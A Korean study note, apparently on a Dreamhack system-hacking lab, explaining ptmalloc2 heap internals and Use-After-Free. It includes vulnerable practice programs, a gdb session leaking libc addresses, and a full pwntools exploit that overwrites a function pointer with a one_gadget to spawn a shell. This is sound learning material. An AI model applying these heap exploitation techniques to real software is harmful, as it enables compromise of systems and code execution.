1.1. ptmalloc2의 특징
어떤 메모리가 해제되면, 해제된 메모리의 특징을 기억하고 있다가 비슷한 요청이 들어오면 이를 빠르게 반환해준다. (공실의 재사용)
(마찬가지로 18.04를 필요로 한다...)
이렇나 단편화를 막기 위해 정렬, 병합, 분할을 사용
메모리 공간을 16바이트 단위로 할당. 내부 단편화는 발생할 수 있으나 외부 단편화는 줄어듦
1.2. ptmalloc의 객체

fd: 연결 리스트에서 다음 청크 (free 청크에만 존재)
bk: 연결 리스트에서 이전 청크 (free 청크에만 존재)
smallbin 62개, largebin 63개, unsortedbin 1개, 그외 2개(미사용) = 총 128개
unlink: smallbin에 청크를 추가하거나 꺼낼 때 연결 고리를 끊는 과정
consolidation: 메모리 상에서 인접한 두 청크가 해제되어 있고, smallbin에 존재하면 병합됨
32~176 크기의 청크 보관. 16바이트 단위로 총 10개의 fastbin 존재
단일 연결리스트이므로 청크를 꺼낼 때 unlink 과정이 불필요
LIFO 방식 사용
병합되지 않아서 병합연산에 사용되는 연산도 아낄 수 있음
재할당 요청 발생 시 bestfit으로 재할당. 이 과정을 빠르게 하기 위해 largebin 내의 청크를 크기 내림차순으로 정렬함.
이중 연결리스트이므로 unlink 필요
병합 O
smallbin 크기에 해당하는 청크 할당 요청 -> fastbin/smallbin 탐색 -> unsortedbin 탐색
largebin 크기에 해당하는 청크 할당 요청 -> unsortedbin 우선 탐색 (이 과정에서 탐색된 청크들은 크기에 따라 적절한 bin으로 분류됨)
arena
fastbin, smallbin, largebin 등의 정보를 모두 담고 있는 객체
tcache
각 thread에 독립적으로 할당되는 캐시 저장소.
32~1040 크기의 청크 보관.
하나의 tcache는 같은 크기의 청크들만 보관 (최대 7개)
LIFO
단일 연결 리스트.
특히 보안 검사가 많이 생략되어 힙 익스플로잇에 활용됨.
1.3. Use-After-Free
메모리 참조에 사용한 포인터를 메모리 해제 후에 적절히 초기화하지 않아서, 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점
메모리 해제 시 free 함수 사용.
free 함수는 청크를 ptmalloc에 반환하기만 할 뿐, 청크의 주소를 담고 있던 포인터를 초기화하지는 않는다. 즉 이 포인터는 해제된 청크를 가리키는 Dangling Pointer가 된다.
Use-After-Free(UAF): 해제된 메모리에 접근할 수 있을 때 발생하는 취약점
// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct NameTag {
char team_name[16];
char name[32];
void (*func)();
};
struct Secret {
char secret_name[16];
char secret_info[32];
long code;
};
int main() {
int idx;
struct NameTag *nametag;
struct Secret *secret;
secret = malloc(sizeof(struct Secret));
strcpy(secret->secret_name, "ADMIN PASSWORD");
strcpy(secret->secret_info, "P@ssw0rd!@#");
secret->code = 0x1337;
free(secret);
secret = NULL;
nametag = malloc(sizeof(struct NameTag));
strcpy(nametag->team_name, "security team");
memcpy(nametag->name, "S", 1);
printf("Team Name: %s\n", nametag->team_name);
printf("Name: %s\n", nametag->name);
if (nametag->func) {
printf("Nametag function: %p\n", nametag->func);
nametag->func();
}
}
위의 예제를 실행하면
$ gcc -o uaf uaf.c -no-pie
$ ./uaf
Team Name: security team
Name: S@ssw0rd!@#
Nametag function: 0x1337
Segmentation fault (core dumped)
이런 결과가 나온다. Team Name은 정상적으로 출력되는데 Name은 앞서 secret 구조체에서 저장된 값이 겹쳐 나오고, Nametag는 입력한 적도 없는데 secret 구조체에서 저장한 값이 출력된다.
직접 메모리를 열어보면, 첫 번째 요소인 secret_name의 위치는 free가 되면서 fd와 bk로 초기화됐지만, 그 이후 부분에 대해서는 그대로인 것을 알 수 있다.

다 있다.
FULL-RERLRO -> got overwrite은 힘듦 (이럴 때는 라이브러리에서 사용하는 훅이나 코드에서 사용하는 함수 포인터 덮어쓰기가 가능)
3.2. uaf_overwrite.c
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
3.3. 설계
robot->fptr에서 함수를 실행하기 때문에 robot->fptr을 system으로 설정하고, robot 변수의 시작을 '/bin/sh'로 저장하면 되지 않을까
custom은 어디 쓰라는거지
일단 robot, human 구조체랑 같은 size를 할당 요청하면 메모리가 중복해서 할당될 것 같다.
목표: robot->fptr을 원가젯으로 덮기
원가젯이 기억 안 나기 때문에 복습... (https://velog.io/@danmuginima/Dreamhack-Systemhacking-Bypass-PIE-RELRO)
단 하나의 가젯으로 execve와 같은 함수를 실행할 수 있어 바로 쉘을 딸 수 있는 아주 유용한 코드 조각!
너무 몰아치듯이 공부해서 지난거는 슬슬 기억이 안 난다. 조만간 전체 정리해야 되겠다.
아무튼 원가젯을 찾고 robot->fptr을 uaf로 덮어야 한다.
3.3.1. 먼저 libc_base를 구해야 한다.
원가젯을 사용할 예정이기 때문에..
근데 여기는 특정 함수의 주소를 출력해주지 않기 때문에 알아서 구해야 한다.
이것도 마찬가지로 uaf를 통해 구할 수 있다.
free chunk와 할당 chunk의 차이는 fd, bk의 유무다.
unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형 연결 리스트를 형성한다. 즉 해당 청크의 fd와 bk로 libc의 특정 주소를 알아낼 수 있다.
custom_func를 사용할 것이다.
custom_func에서 0x410 바이트 초과 사이즈의 청크를 두 개 할당하고 처음 할당한 것을 해제한다.
이유 1. 0x410 이하 사이즈의 청크는 fcache에 포함된다. 우리의 목표는 unsortedbin에 청크가 저장되도록 하는 것이다.
이유 2. 해제된 청크가 탑 청크에 닿지 않도록 해야 한다. unsortedbin에 포함되는 청크가 탑 청크와 닿게 되면 병합되기 때문이다.
(https://she11.tistory.com/157) -> 이 분이 설명을 정말 잘해주셨다.
아놔...왜 dockerfile에서 COPY가 안 먹히냐고... command not found란다.
일단 libc 빼고 진행해야겠다.
$ gdb -q uaf_overwrite
pwndbg> r
Starting program: /home/dreamhack/uaf_overwrite
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: a
Data: a
Free idx: -1
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: b
Data: b
Free idx: 0
1. Human
2. Robot
3. Custom
>
이렇게 진행하고 heap 명령어를 pwndbg 내에서 실행하면

free chunk와 allocated chunk가 존재한다.
free chunk의 fd와 bk도 볼 수 있다. leak 성공

vmmap으로 확인하면 fd와 bk가 가리키는 위치가 libc 위치인 것을 알 수 있다.

libc가 매핑된 주소에서 빼주면 offset을 구할 수 있다. (원래 libc-2.27.so로 해야되는데 파일 copy가 안 돼서...)
3.3.2. 원가젯 덮어씌우기
human 구조체에서 age가 robot의 func와 동일하기 때문에 age에 원가젯을 저장한다.
#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *
p = process('./uaf_overwrite')
def slog(sym, val): success(sym + ': ' + hex(val))
def human(weight, age):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', str(weight).encode())
p.sendlineafter(b': ', str(age).encode())
def robot(weight):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', str(weight).encode())
def custom(size, data, idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
p.sendlineafter(b': ', str(idx).encode())
# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원 가젯 주소 계산
slog('libc_base', lb)
slog('one_gadget', og)
# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)
p.interactive()

fd와 bk를 leak해야 한다. 여기서 uaf가 활용된다.
먼저 총 2번의 custom 실행으로 0x500 크기의 청크 두 개를 할당 받는다. 그리고 하나를 더 할당하면서 첫 번째 청크를 해제한다. (근데 굳이 3번이나 할당해야 하나 싶다...두 번째 할당하면서 해제할 수 있지 않나)
그러고 나서 하나의 문자 B만을 할당한다.
그런데 여기서 uaf가 발생한다. 우리가 첫 번째로 해제한 청크와 새로 할당한 청크는 사이즈가 같기 때문에 이전 영역이 재할당된다.
하지만 위의 사진처럼 재할당되면 이전의 fd와 bk 데이터가 남아있게 된다.
우리가 단 하나의 바이트 B만 입력하게 되면 1바이트만 덮이고 나머지 주소는 그대로다. 그래서 무엇을 입력하냐에 따라 offset이 변경된다.
그러고 나서 나머지는 one_gadget 공격 방식으로 진행하면 된다.
human의 fptr에 one_gadget 주소를 입력하는 것도 잊지 말고.